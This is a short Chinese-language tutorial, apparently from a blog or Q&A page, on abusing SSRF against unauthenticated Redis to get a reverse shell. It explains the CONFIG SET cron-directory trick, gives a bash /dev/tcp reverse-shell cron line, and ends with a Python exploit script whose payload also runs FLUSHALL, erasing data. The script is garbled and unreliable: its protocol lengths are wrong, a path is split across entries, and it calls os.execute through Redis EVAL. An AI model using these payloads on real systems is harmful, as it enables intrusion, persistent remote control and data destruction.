ssrf 反弹shell

### SSRF 漏洞利用反弹 Shell 的技术细节

#### 一、SSRF漏洞概述
SSRF (Server-Side Request Forgery, 服务器端请求伪造)是一种安全漏洞，允许攻击者构造恶意请求，使应用程序向指定的URL发送HTTP请求。这种攻击通常用于访问内部网络资源或绕过防火墙限制[^4]。

#### 二、利用过程详解
当存在SSRF漏洞的应用程序能够与内网中的Redis服务通信时，可以通过以下方式实现反弹Shell：

1. **获取未授权访问权限**
如果目标环境内的Redis实例配置不当，默认情况下监听所有接口且无需密码验证，则可以直接连接并执行命令[^3]。

2. **设置持久化后门**
攻击者可利用`CONFIG SET dir /var/spool/cron/`指令改变默认保存路径至cron任务文件夹；再通过`CONFIG SET dbfilename root`创建名为root的新数据库文件，在其中植入恶意代码片段[^2]。

3. **触发反弹Shell行为**
将精心设计过的bash脚本作为定时作业写入上述位置，确保其每隔一段时间尝试建立反向外联通道指向攻击者的机器。例如：

   * * * * * bash -i >& /dev/tcp/yourip/6666 0>&1

4. **维持会话控制**
成功建立TCP连接之后便可以在受害主机上获得交互式的shell终端，进一步实施更多类型的渗透测试活动[^1]。

import requests

def exploit_ssrf(redis_ip, attacker_ip, port=6666):
    payload = f"*1\r\n$8\r\nFLUSHALL\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\ndir\r\n$5\r\n/var/\r\nspool/cron/\r\n*3\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$9\r\ndbfilename\r\n$4\r\nroot\r\n*2\r\n$4\r\nAUTH\r\n$7\r\npassword\r\n*2\r\n$4\r\nEVAL\r\n\"os.execute('echo \"* * * * * bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1\">>/var/spool/cron/root')\"\r\n"
    
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = {'data':payload}
    
    try:
        response = requests.post(f"http://{redis_ip}:6379",headers=headers,data=data)
        print(response.status_code)
    except Exception as e:
        print(e)

exploit_ssrf("internal.redis.server","external.attacker.ip")